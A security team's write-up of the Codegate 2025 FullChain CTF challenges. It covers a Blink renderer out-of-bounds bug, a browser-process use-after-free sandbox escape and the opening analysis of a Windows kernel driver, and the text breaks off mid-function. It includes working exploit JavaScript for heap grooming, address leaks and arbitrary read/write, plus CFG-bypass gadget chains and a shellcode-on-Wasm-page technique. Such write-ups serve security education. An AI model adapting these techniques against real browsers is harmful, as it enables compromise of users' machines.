Vulnerability Research

From Blink to Nt: Codegate 2025 FullChain Write-up

From Blink to Nt: Codegate 2025 FullChain Write-up

EnkiWhiteHat

2025. 7. 21.

Prologue

There was a FullChain challenge (RCE, LPE and SBX) in Codegate 2025 Final.

While brainstorming ideas for Codegate challenges, we came up with the idea of creating RCE, SBX, and LPE challenges and offering bonus points (FullChain) to teams that solved all of them. That's how the FullChain series came to be.

This series consisted of 4 problems in total: the 3 individual challenges and a FullChain bonus challenge that could be solved by simply chaining them together after solving all three (RCE, LPE, SBX).

Before we begin, a shout-out to the challenge solvers 🙂

  • RCE: BunkyoWesterns (First Blood!), The Duck, Blue Water

  • SBX: None 😞

  • LPE: GYG (First Blood!), BunkyoWesterns, CyGoN, Blue Water

Also, shout-out to our challenge authors 🙂 !!

  • Hyungil Moon (@mhibio-ptw), Jongseong Kim (@nevul37) and Dongjun Kim (@smlijun)

Here is the full challenges and exploit codes [link]

Part 1: RCE

Codegate2025-RCE

Challenge Overview

The goal of the challenge is to find vulnerabilities in the renderer process and develop an exploit code by analyzing the provided rce-sbx-138-0-7204-97.patch file.

The patch file creates a new Blink module called minishell in the renderer. It provides various shell functions and file writing and saving, and the file data is managed through Codegate File System (CFS), which is a browser API.

The available commands are:

Available commands:
  help
  pwd
  ls
  mkdir <dirname>
  cd <path>
  touch <filename>
  delete <filename>
  rename <oldname> <newname>
  exec <filename>
  mvdir <src> <dst_parent_dir | new_dir_name_if_renaming>

File Operation:
  open <filepath>
  read <count>
  write <count> {hex1} {hex2} {hex3} . . .
  seek <idx>

They are similar to the basic shell commands. Commands such as exec are not implemented, but there are several file operations.

When a file is opened, it is managed through file_descriptor_ in the form of a FileBuffer class until Save.

class MODULES_EXPORT MiniShell final : public ScriptWrappable {
  // ...
  Member<FileBuffer> file_descriptor_;
  // ...
}

A user can invoke the minishell as follows:

var shell = await window.miniShellManager.CreateShell();
await shell.execute("ls");

Callable methods can be bound in the *idl file.

interface MiniShellManager {
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> CreateShell();
    [CallWith=ScriptState, RaisesException] Promise<boolean> DeleteShell(unsigned long id);
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> get(unsigned long id);
};
[
    ImplementedAs=WindowMiniShellManager
]
partial interface Window {
    [SameObject] readonly attribute MiniShellManager miniShellManager;
};
interface MiniShell {
    [CallWith=ScriptState, RaisesException] long get_id();
    [CallWith=ScriptState, RaisesException] Promise<DOMString> execute(DOMString command);
};

In short, one user can have multiple shells and execute each command in one shell.

Vulnerability

We can see the main functionality in mini_shell.cc.

However, the vulnerability is pretty simple compared to the file size. The following shows the FileBuffer structure.

#define FILESIZE_MAX 1024

class FileBuffer : public GarbageCollected<FileBuffer> {

 public:
  explicit FileBuffer(
      mojo::PendingRemote<mojom::cfs::blink::CodegateFile> new_file_remote,
      ScriptPromiseResolver<IDLString>* resolver);

  Vector<uint8_t> read(uint64_t count);
  void write(const Vector<uint8_t>& data);

  void SetIdx(uint64_t idx);

  mojom::cfs::blink::CodegateFile* GetRemote();

  void Trace(Visitor* visitor) const;

 private:
  HeapMojoRemote<mojom::cfs::blink::CodegateFile> remote_;
  uint64_t idx_;
  char buffer_[FILESIZE_MAX];

}

In here, we can see the fixed-size buffer. Let’s check the part which uses it.

// ...
Vector<uint8_t> FileBuffer::read(uint64_t count) {
  Vector<uint8_t> res(count);

  if (count > FILESIZE_MAX) {
    return Vector<uint8_t>();
  }

  for (uint64_t i = 0; i < count; i++) {
    res[i] = buffer_[idx_ + i];
  }
  return res;
}

void FileBuffer::write(const Vector<uint8_t>& data) {
  if (data.size() > FILESIZE_MAX) {
    return;
  }

  for (uint64_t i = 0; i < data.size(); i++) {
    buffer_[idx_ + i] = data[i];
  }
}

void FileBuffer::SetIdx(uint64_t idx) {
  idx_ = idx;
}

void FileBuffer::Trace(Visitor* visitor) const {
  visitor->Trace(remote_);
}

mojom::cfs::blink::CodegateFile* FileBuffer::GetRemote() {
  return remote_.get();
}
// ...

There is a size check for the input data vector, but there is no any bound check for idx_ so an out-of-bounds (OOB) read/write occurs.

Although the vulnerability is simple, we need to obtain arbitrary address read / write primitives with this relative address read / write, and finally achieve Arbitrary Code Execution.

Exploit - AAR/W

Now, we have relative read / write primitive of uint64_t size. In fact, there is no difference in the method to achieve arbitrary address read / write.

However, in order to access an arbitrary address, we must know the address of the current object. This is because we need to measure the distance to move to the target.

There are various ways to leak the address of a controllable object.

In this challenge, it is difficult to achieve address leakage with just a simple OOB read because there is no valid address area written anywhere in the heap area. Among them, we tried using brand new technique that can stably leak objects by utilizing the characteristics of Oilpan GC.

Oilpan GC

The Heap object of Oilpan GC has the following structure [link].

// +-----------------+------+------------------------------------------+
// | name            | bits |                                          |
// +-----------------+------+------------------------------------------+
// | padding         |   32 | Only present on 64-bit platform.         |
// +-----------------+------+------------------------------------------+
// | GCInfoIndex     |   14 |                                          |
// | unused          |    1 |                                          |
// | in construction |    1 | In construction encoded as |false|.      |
// +-----------------+------+------------------------------------------+
// | size            |   15 | 17 bits because allocations are aligned. |
// | mark bit        |    1 |                                          |
// +-----------------+------+------------------------------------------+
// | object data                                                       |
// +-------------------------------------------------------------------+

Oilpan GC uses a different allocation method than PartitionAlloc (PA), which is mark-and-sweep and space. Unlike PA, which uses slot-bucket, Oilpan allocates space for the heap and divides (i.e., allocates) the heap object as much as requested size from the space when a request comes in.

In other words, without a fixed slot, it dynamically allocates multiple sizes in each space.

When they lose their reference and are GC reclaims them, they take the form of FreeList::Entry.

class FreeList::Entry : public HeapObjectHeader {
 public:
  static Entry& CreateAt(void* memory, size_t size) {
    // Make sure the freelist header is writable. SET_MEMORY_ACCESSIBLE is not
    // needed as we write the whole payload of Entry.
    ASAN_UNPOISON_MEMORY_REGION(memory, sizeof(Entry));
    return *new (memory) Entry(size);
  }

  Entry* Next() const { return next_; }
  void SetNext(Entry* next) { next_ = next; }

  void Link(Entry** previous_next) {
    next_ = *previous_next;
    *previous_next = this;
  }
  void Unlink(Entry** previous_next) {
    *previous_next = next_;
    next_ = nullptr;
  }

 private:
  explicit Entry(size_t size) : HeapObjectHeader(size, kFreeListGCInfoIndex) {
    static_assert(sizeof(Entry) == kFreeListEntrySize, "Sizes must match");
  }

  Entry* next_ = nullptr;
}

When an object in the space is freed, the HeapObject changes to a FreeList::Entry, and additional next_ fields are created to point to the next freed object.

Leak Idea

The idea is as follows:

  1. Loop the action below enough times to allocate new space

    • Spray shell object

    • Spray File in each shell

  2. Trigger gc()

  3. Read the next_ of the header of the next adjacent chunk of FileBuffer in the N-th Sprayed Object

  4. Leak (N-1)th Sprayed_object

Since each shell has only one File Buffer, N shells are needed to spray N File Buffers.

Considering the characteristics of the Oilpan GC described above, consider the following chunk situation.

Currently, there is only my object in space. When an object is dynamically divided(i.e., allocated) from space, gc() is executed and the small areas between each object will be treated as Free Entry, forming a FreeList as shown above.

We can now read the chained Free Entry by reading temp = sizeof(FileBuffer) + 0x8 from the Sprayed2 object, and leak the Sprayed 1 address through heap_leak = temp - sizeof(FileBuffer)

  var leak;
  leak = await this.relative_read64(0x400n + 0x8n) // current heap obj idx = 90
  leak -= 0x400n;
  console.log("[idx:89] leak: " + hex(leak)); // idx 89 leak

This allows us to leak the address of the object with only spray and out-of-bounds, regardless of how big the distance is between Sprayed 1 and Sprayed 2 whether there is a stable address.

Since we have the address of the Sprayed 1 object and the relative address read / write, we can perform arbitrary address read / write.

/*
0:021> dq 0000556c`009f96b0 L 100
0x0000556c009f96b0  0x010608e500000000 0x000000008010cdc6 [HeapObjectHeader] | [HeapMojoRemote]
0x0000556c009f96c0  0x0000000000000000 0x003f003f003f003f [idx] | [data]
0x0000556c009f96d0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f96e0  0x003f003f003f003f 0x003f003f003f003f
. . . 
0x0000556c009f9ab0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f9ac0  0x003f003f003f003f 0x062a000000000000 [data] | [HeapObjectHeader]
0x0000556c009f9ad0  0x0000556c009f7e08 0xdcdcdcdcdcdcdcdc [FreeList::Entry] <- Leak this
*/

In the exploit, after sufficient spray, it triggers gc() and then leaks objects 90th to 89th.

// Grooming / Spray
for (var i = 0; i < 100; i++) {
    var filename = "file" + i;
    await this.exec("touch " + filename, i);
    await this.exec("open " + filename, i);
    let hexs = i.toString(16).padStart(4, '0');
    const hi = hexs.substring(0, 2);
    const lo = hexs.substring(2, 4);
    var data = ` ${lo} ${hi}`.repeat(this.buffer_size / 2);
    await this.exec("write " + this.buffer_size + data, i);
}
        
this.target_shell = 90;

// Make Hole
gc();
gc();
await sleep(2000);

var leak = await this.relative_read64(0x408n) - 0x400n;
console.log("[idx:89] leak: " + hex(leak));

// set heap leak for calculation
this.heap_leak = leak;
console.log("target heapleak: " + hex(this.heap_leak));

this.target_shell = 89;

// Heap Leak test
{
    var leak_test = await this.arbitrary_read64(this.heap_leak - 0x8n);
    if (leak_test != 0xfffffffffffffff8n) {
        throw new Error("Leak test failed, expected 0xfffffffffffffff8n but got " + hex(leak_test));
        return;
    }
    console.log("Heap leak success");
}

Exploit - Arbitrary Code Execution

Now, we obtain the arbitrary address read / write primitives.

In a typical V8 engine, addrof is used to obtain address of a Wasm RWX Page. However, we only have OOB, and it seems difficult to create an addrof primitive.

So what should we do?

Overwrite the vtable of HeapMojoRemote to call 0x4141414141414141?

The challenge says that it should be exploited on chrome.exe running on Windows 11 24H2. That is, in order to achieve arbitrary function calls in the challenge, CFG Bypass must be accompanied. Of course, considering the huge size of the code base, there may be many gadgets that can bypass CFG.

Also, Function::Invoker Chaining, a well-known technique, can bypass CFG.

We wanted to find a more stable method, and after auditing the code, we found that there is a LazyInstance Getter for WasmCodePointerObject. We can leak Wasm RWX Page by reading WasmCodePointerTable → entrypoint_.

Let's overwrite RWX Page with arbitrary shellcode and execute wasm exports function.

In the end, we can stably execute arbitrary shellcode while maintaining persistence. An interesting fact is that the bug of the SBX challenge can be triggered even in the Renderer. However, triggering the vulnerability requires a slight race condition in the SBX Challenge, we are unsure whether UAF Object can be reliably occupied in Blink.

Part 2 : SBX

Codegate2025-SBX

Challenge Overview

This challenge was inspired by a real-world case. So, SBX seems to be the most difficult challenge in the FullChain series.

TL;DR

  1. Triggering a vulnerability to create a UAF

  2. Occupying UAF Object through Race and Spray

  3. Create arbitrary read / write / call primitives

The goal of the challenge is to find vulnerabilities in the browser process and develop sandbox escape exploit code by analyzing the provided rce-sbx-138-0-7204-97.patch file.

This patch file creates a new Mojo Endpoint Impl called Codegate File System in the browser.

CFS implements DirectoryImpl and FileImpl. These are structured as a tree with the Root Directory as the root under the File System Manager. Files can execute Read / Write / Edit / Close operations, and Directories have operations such as Create / Delete / Change, etc.

Below is the cfs.mojom file defining the mojom interface.

module blink.mojom.cfs;

enum ITEMTYPE {
    kFailed,
    kFile,
    kDir,
};

union CodegateItemResponse {
  pending_remote<CodegateDirectory> remote_dir;
  pending_remote<CodegateFile> remote_file;
};

interface CodegateFSManager {
  CreateFileSystem() => (uint32 id, pending_remote<CodegateDirectory> remote_dir);
  DeleteFileSystem(uint32 id) => (bool success);
  GetFileSystemHandle(uint32 id) => (bool success, pending_remote<CodegateDirectory>? remote_dir);

  /// You have a compromised renderer, right?
  GetCode() => (uint64 addr);
};

interface CodegateDirectory {
  GetItemHandle(string filename) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  CreateItem(string filename, ITEMTYPE type) => (ITEMTYPE type, CodegateItemResponse? remote_item);
  DeleteItem(string filename) => (bool success);

  RenameItem(string filename_orig, string filename_new) => (bool success);
  ChangeItemLocation(string filename_src, string filename_dst) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  ListItems() => (array<string> data);
  GetPwd() => (string data);
};

interface CodegateFile {
  GetFilename() => (string filename);
  Read() => (bool success, array<uint8>? data);
  Write(array<uint8> data) => (bool success);
  Edit(uint32 idx, uint8 value) => (bool success);
  Close() => (bool success);
};

Vulnerability

The vulnerability in the ChangeItemLocation function is simple in nature but complex in its exploitation. Inaccurate input validation for filename_src / filename_dst causes smart pointer malfunctions, leading to UAF.

void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}

The ChangeItemLocation function checks the source and destination through ValidateChangeLocation [1] returns the destination_directory. It then removes the src item from the current directory [2], and performs AddItemInternal[3] to the directory to move

Since it's still difficult to find vulnerabilities, let's look at the ValidateChangeLocation function further.

CodegateDirectoryImpl* CodegateDirectoryImpl::ValidateChangeLocation(
    const std::string& src_item,
    const std::string& dst_dir) {
  if (!IsItemNameExists(src_item) || !IsItemNameExists(dst_dir)) {
    return nullptr;
  }

  if(src_item== ".." || src_item== ".") {
    return nullptr;
  }
  
  CodegateDirectoryImpl* dst = nullptr;
  if (dst_dir == ".") {
    dst = this;
  } else if (dst_dir == "..") {
    dst = GetParentDir();
  } else if (IsValidDirectory(dst_dir)) {
    dst = static_cast<CodegateDirectoryImpl*>(FindItemByName(dst_dir));
  }

  return dst;
}

From this, we can identify several things.

  1. The src and dst files must always exist.

  2. The src file cannot be the current or parent directory.

  3. The dst location can be the parent or current directory.

  4. If it's a filename, it checks if the file is a directory and returns a pointer.

It seems to perform all checks well, but one thing is missing.

There is no check for when src and dst items are the same.

In other words, in the following situation [1], the next call [2] becomes a valid call.

// [1]
./root/
./root/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")

To connect this to UAF, let's go back to ChangeItemLocation.

void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) { // [4]
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}

Now that we can set src and dst files to be the same, at the moment just before [3] executes, file_to_move and destination_directory will point the same object.

If we can release file_to_move in this situation, we can make destination_directory dangling and use it as UAF.

To release file_to_move, we need to look at the AddItemInternal function.

At the destination_directory, the ownership of file_to_move is passed to AddItemInternal with std::move()[4] to allow destination_directory→item_list to be bound with ownership.

bool CodegateDirectoryImpl::AddItemInternal(
    std::unique_ptr<CodegateItem> new_item) {
  if (IsItemNameExists(new_item->GetItemName())) {
    return false;
  }

  new_item->SetParentDir(this);
  item_list_.push_back(std::move(new_item));
  return true;
}

However, if the new_item that came in with ownership as an argument isn't bound anywhere and the function ends, the reference will be 0 and be released at the end of the function.

The AddItemInternal function checks if a file with the same name already exists in the destination directory, and if so, returns false.

This is an appropriate action for the release scenario described above.

Trigger

Now, let's call ChangeItemLocation again, considering the following situation:

// [1]
./root/
./root/dir1 // == file_to_move (src) == destination_directory (dst)
./root/dir1/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")

file_to_move(src) and destination_directory(dst) are pointing to /root/dir1.

AddItemInternal is triggered and checks for duplicate filenames in ./root/dir1.

Since there is a duplicate filename ./root/dir1/dir1, the function will return false and finish.

At this point, file_to_move loses its reference and is freed.

  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }

Since file_to_move has been released, destination_directory has also been freed.

Because AddItemInternal returned false, PostTask will be executed. It then passes the freed destination_directory as an argument to RecoverItem, causing UAF to occur when RecoverItem is executed.

Heap Spray

The first step of the exploit is to occupy the freed object.

There are various heap spray techniques in real browser exploitation, but since this is a "CTF Challenge" , the primitive may exists that challengers could easily access.

CodegateFileImpl is the heap spray primitive provided by the challenge.

void CodegateFileImpl::Write(const std::vector<uint8_t>& data,
                             WriteCallback callback) {
  data_buffer_ = data;
  std::move(callback).Run(true);
}

CodegateFile→Write() stores the incoming array data as std::vector<uint8_t>.

This means we can create unlimited controllable Heap Objects of any desired size.

Let's try to occupy the UAF object using this.

Occupy

To occupy, we need to spray object before RecoverItem, which is posted to ThreadRunner, is executed.

  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }

However, the journey to achieve this is a bit complicated.

  1. Since the Challenge is a Release version, many Code Snippets are excluded, and the speed is extremely fast. This means that the race window between the end of ChangeItemLocation and the execution of the posted RecoverItem is extremely short.

  2. Finding an Object of exactly the same size that can be Sprayed from another thread? This can be very helpful when the Race Window is short, but finding a Sprayable Object in time can be difficult, and more effort may be required to achieve Thread cache bypass.

Fortunately, there are no restrictions on interface calls and the creation of Directories and Files, so let's try to occupy by satisfying the given conditions.

When a Mojo IPC Call comes in, the IO Thread receives it, and after processes like Impl identification and Input Validation, it PostTasks the appropriate function to each Impl ThreadRunner.

All Codegate*** IPC calls will be executed on the same thread, and it's impossible to overwrite UAF Object with CodegateFile while ChangeItemLocation is running.

So, let's try to buy some time between ChangeItemLocation and RecoverItem.

We have called the normally functioning ChangeItemLocation function multiple times and then we called ChangeItemLocation, which can trigger UAF.

The above is the queue of the SequenceTaskRunner. It shows the tasks posted so far waiting for execution.

This way, before the UAF Trigger is executed, we can send additional Mojo IPC call for as long as ChangeItemLocation runs.

If we push in CodegateFile::Write N times during this time,


The running TaskRunner will take the form above, and if time passes and UAF is triggered


It will look like the above. Now the Write Spray work begins, and if N was sufficient, we will eventually be able to occupy the Freed Object.


We can repeat this until successfully overwriting.

In the exploit, we can improve stability by comparing the file name, vector, etc., to check if it has been successfully overwritten.

{
  // ...
	var swp_dir = null;
	var uaf_readwriter = null;
	var leak = null;
	while (swp_dir == null) {
	    await this.prepare_UAF();
	    [swp_dir, uaf_readwriter] = await this.makeUafObject(fake_ab);
	}
	
	// ...
}

async prepare_UAF() {
    log("Preparing UAF...");
    await this.root_dir.deleteItem("spray_dir");
    await this.root_dir.deleteItem("temp_dir");

    this.spray_dir = await this.createDirectory(this.root_dir, "spray_dir");
    this.temp_dir = await this.createDirectory(this.root_dir, "temp_dir");

    for (var i = 0; i < this.try_cnt; i++) {
        await this.createFile(this.root_dir, "temp_file" + i);
        await this.createFile(this.temp_dir, "temp_file" + i);
    }

    this.fast_alloc_head = 0;
    this.slot = [];
    for (var i = 0; i < this.spray_capacity; i++) {
        this.slot[i] = await this.createFile(this.spray_dir, "spray_file" + i);
    }
    log("Finish preparing UAF...");
}

async makeUafObject(ab) {
    var ___ = new Uint8Array(ab);

    var _ = await this.createDirectory(this.root_dir, "qwer");
    var __ = await this.createDirectory(_, "qwer");

    log("Making Threadrunner Busy...");

    for (var i = 0; i < this.try_cnt; i++) {
        this.root_dir.changeItemLocation("temp_file" + i, "temp_dir");
    }

    var prom = this.root_dir.changeItemLocation("qwer", "qwer")

    for (var i = 0; i < this.spray_capacity; i++) {
        this.fast_alloc(___);
    }

    await sleep(2000);

    var original;
    await this.get_spray_obj(0).read().then((r) => {
        console.log("Read data: " + r.data);
        original = r.data;
    });

    var leak;
    var idx;
    for (var i = 0; i < this.spray_capacity; i++) {
        await this.get_spray_obj(i).read().then((r) => {
            if (!CheckArrayEqual(r.data, original)) {
                console.log("Read data: " + r.data);
                leak = ArrayToBigInt(r.data);
                idx = i;
            }
        });
    }
    var swp_dir;
    await prom.then((r) => {
        swp_dir = r.remoteItem.$data;
    });

    if (leak == undefined) {
        log("Failed to leak data");
        return [null, null, null];
    }

    var leak1 = leak[0x88 / 8];
    var leak2 = leak[0x90 / 8];
    console.log("Leak: " + hex(leak1));
    console.log("Leak: " + hex(leak2));
    if ((leak1 + 0x8n) == leak2) {
        log("Successfully Overwrite");

    } else {
        log("Failed to overwrite");
        return [null, null, null];
    }

    return [swp_dir, this.slot[idx]]

}

Leak

After overwriting the UAF Object, we need a controllable area and address to avoid crashes and control the flow. There are various techniques to achieve this, but in this challenge, we'll use std::vector<> to allocate our objects at a Known Address.

(With a few attempts, you will see that it is s impossible to receive a leak through Mojo Response.)

When std::vector<> reaches full capacity, it releases the existing heap, allocates a new heap with increased capacity, and moves the existing data.

Using CodegateFile→Read(), we can leak UAF Object->CodegateItem→itemname_. Additionally, using CodegateFile→Edit(), we can manipulate UAF Object→vector{start, last, end}

The next step is to create & leak a Known Address of size 0x800, then occupy that area.

  1. UAF object parents→Rename(uaf_object, "A" * 0x800)

    • The std::string will be allocated in a heap slot of size 0x800.

    • This 0x800 size area will be used later for Fake Object, ROP, Temp Memory, etc.

  2. UAF Object→Read() to leak UAF Object→itemname_.

  3. Modify the UAF Object Vector as follows:

    • UAF Object→Vector→start = heapleak

    • UAF Object→Vector→last = heapleak

    • UAF Object→Vector→end = heapleak + 0x800

  4. Perform UAF Object→CreateItem 0x800 / 8 times.

    • The vector will point to std::string, and the 0x800 size will be filled.

  5. Perform UAF Object→CreateItem one more time.

    • Due to insufficient capacity, the existing area (std::string) is released, and the existing data is moved to the new vector space.

  6. Perform Spray(0x800, spray_cnt).

    • We can now occupy the freed 0x800, and this address becomes the one leaked in steps 1 and 2.

In this way, we can achieve Known Address creation, leaking, and occupation, and now we can make Fake Objects, ROP Chains, etc. in that area.

Simply using rename() itself for Spray is not suitable because the JS → Mojo → Impl encoding conversion process doesn't properly recognize Null Characters and characters in the UTF-8 range, which is why we need to use the method above. The same goes for Leak .

In exploit, we can use specific fields(here, std::string item_name_) as success identifiers.

        log("Occupy the freed memory");
        var final_spray = [];
        for (var i = 0; i < 0x1000; i++) {

            fake_obj.setBigUint64(0x8, u64(i.toString().padStart(8, '0')));

            var _ = new Uint8Array(ab);
            final_spray.push(await this.slow_alloc(_));
        }

        log("Check Occupied Memory with pwd");
        var pwd = (await swp_dir.getPwd()).data;
        log("pwd: " + pwd);
        if (!pwd.startsWith("/QWERQWER")) {
            log("Failed to occupy memory");
            window.location.reload(); // RETRY!
            return;
        }

        log("Successfully occupied memory");
        var spray_idx = parseInt(pwd.slice(9, 9 + 8));
        var heapleak_readwriter = final_spray[spray_idx];

AAR/W Primitive

CodegateFileImpl has the same structure as CodegateDirectoryImpl, but the std::vector type is uint8_t.

By creating a Fake CodegateFileImpl, adding it to the UAF Object, and manipulating the m_first, m_last, and m_endof the Fake CodegateFileImpl, we can achieve arbitrary address read / write.

Here is simple Exploit POC for AAR/W.

var uafobj = await exploit.makeUAF();
makeAARW_Primitive(uafobj);

var fake_file = uafobj->GetItemHandle("./fake_file")
fake_file.setVector(0xdeadbeef); // set arbitrary address for write
fake_file.write([11,22,33,44])

fake_file.setVector(0xcafebabe); // set arbitrary address for read
var aar = fake_file.read()

Arbitrary Call Primitive

By setting the UAF Object→directory_vtable to a controllable heap object and manipulating only CodegateDirectory→ListItems, we can achieve arbitrary function calls.

Like the Renderer, the Browser Process also has CFG Mitigation enabled.

This time, we use the well-known technique of Didwrite → Function Invoker Chain to achieve CFG Bypass and arbitrary function calls.

// Pseudocode
// Curret Caller == UAF Object
void __fastcall blink::FileSystemDispatcher::WriteListener::DidWrite() {
	add     rcx, 10h
	jmp     RepeatingCallback
}

// Current Caller == UAF Object + 0x10
void __fastcall base::RepeatingCallback::Run()
{

  // ...
  // [1] ptr == *(UAF Object + 0x10)
  ptr = *this
  if ( ptr )
    base::subtle::RefCountedThreadSafeBase::AddRefWithCheck(ptr);

  // ...
  // [2] (*(UAF Object + 0x18)) ( *(UAF Object + 0x10 )
  (*(*this + 8LL))(ptr, args, a3);
  if ( ptr && base::subtle::RefCountedThreadSafeBase::Release(ptr) )
    base::internal::BindStateBaseRefCountTraits::Destruct(ptr);
    
  // ...
}

Since we've manipulated the vtable of the UAF Object and achieved arbitrary function calls, rcx(this) currently points to the UAF Object.

The variable ptr[1] will be the value of UAF Object + 0x10, and [2] allows us to make a new function call (ptr+8).

We maintain the RefCount at ptr+0x0 as 1 (gadget constraint), and set ptr+0x8 with useful Gadget from Function Invoker.

.text:0000000188B598E0 ; void __fastcall base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (blink::ParkableStringManager::*&&)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),blink::ParkableStringManager *,blink::ParkableStringImpl *,base::TimeDelta &&,base::TimeDelta &&&gt;,base::internal::BindState&lt;1,1,0,void (blink::ParkableStringManager::*)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),base::internal::UnretainedWrapper&lt;blink::ParkableStringManager,base::unretained_traits::MayNotDangle,0&gt;,base::internal::RetainedRefWrapper&lt;blink::ParkableStringImpl&gt;,base::TimeDelta,base::TimeDelta&gt;,void (void)&gt;::RunOnce(struct base::internal::BindStateBase *base)
.text:0000000188B598E0 ?RunOnce@?$Invoker@U?$FunctorTraits@$$QEAP8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZPEAV12@PEAV32@$$QEAV45@$$QEAV45@@internal@base@@U?$BindState@$00$00$0A@P8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZV?$UnretainedWrapper@VParkableStringManager@blink@@UMayNotDangle@unretained_traits@base@@$0A@@internal@5@V?$RetainedRefWrapper@VParkableStringImpl@blink@@@75@V45@V45@@23@$$A6AXXZ@internal@base@@SAXPEAVBindStateBase@23@@Z proc near
.text:0000000188B598E0                                         ; DATA XREF: blink::ParkableStringManager::CompleteUnpark(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta)+104o
.text:0000000188B598E0                                         ; .rdata:00000001942B54E4o
.text:0000000188B598E0 base = rcx
.text:0000000188B598E0                 mov     rdx, [base+30h]
.text:0000000188B598E4                 mov     rax, [base+20h]
.text:0000000188B598E8                 mov     r10, [base+28h]
.text:0000000188B598EC                 mov     r9, [base+40h]
.text:0000000188B598F0                 mov     r8, [base+38h]
.text:0000000188B598F4                 mov     r11, cs:__guard_dispatch_icall_fptr
.text:0000000188B598FB                 mov     base, r10
.text:0000000188B598FE                 jmp     r11

The gadget above looks good for our situation.

At the point when the Function Invoker is executed, rcx can be manipulated to an Arbitrary Address, so we can set it to our obtained Heap Leak, allowing us to configure the function and argv as desired.


Arbitrary Call achieved!

Part 3 LPE

The files provided in the challenge are minimal. Aside from the pre-distributed Windows 11 image, only the PoW (Proof-of-Work) code and the MemoryStorage.sys file were given. We should analyze the MemoryStorage.sys driver and use it to achieve privilege escalation on Windows.

Challenge Overview

MemoryStorage.sys is a Windows Kernel Driver, developed using the legacy Windows Driver Model (WDM). When examining the driver's DriverEntry function, it contains only two functional components: one function responsible for initializing the kernel stack cookie and another function that handles the main routine of the driver.

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}

In the sub_14000173C function, the driver creates a symbolic link named \\\\DosDevices\\\\MemoryStorage and registers the device with the kernel. This symbolic link allows user-mode applications to communicate with the driver by sending requests.

Inside the conditional block, the driver registers its dispatch routines. The entries a1->MajorFunction[0] and a1->MajorFunction[2] correspond to the IRP_MJ_CREATE and IRP_MJ_CLOSE routines, which are called when a device handle is opened or closed. These routines are not essential for solving the challenge, so they are mentioned only for completeness.

The most important part is the assignment to a1->MajorFunction[14], which registers the sub_140001370 function as the handler for IRP_MJ_DEVICE_CONTROL. This routine is responsible for handling various commands based on I/O Control Codes (IOCTLs), and it plays a central role in the vulnerability analysis.

__int64 __fastcall sub_14000173C(struct _DRIVER_OBJECT *a1)
{
  NTSTATUS v2; // [rsp+40h] [rbp-38h]
  PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-30h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DeviceObject = 0;
  RtlInitUnicodeString(&DestinationString, L"\\\\Device\\\\MemoryStorage");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\\\DosDevices\\\\MemoryStorage");
  v2 = IoCreateDevice(a1, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject); // [1]
  if ( v2 >= 0 )
  {
    a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140001370; // [3]
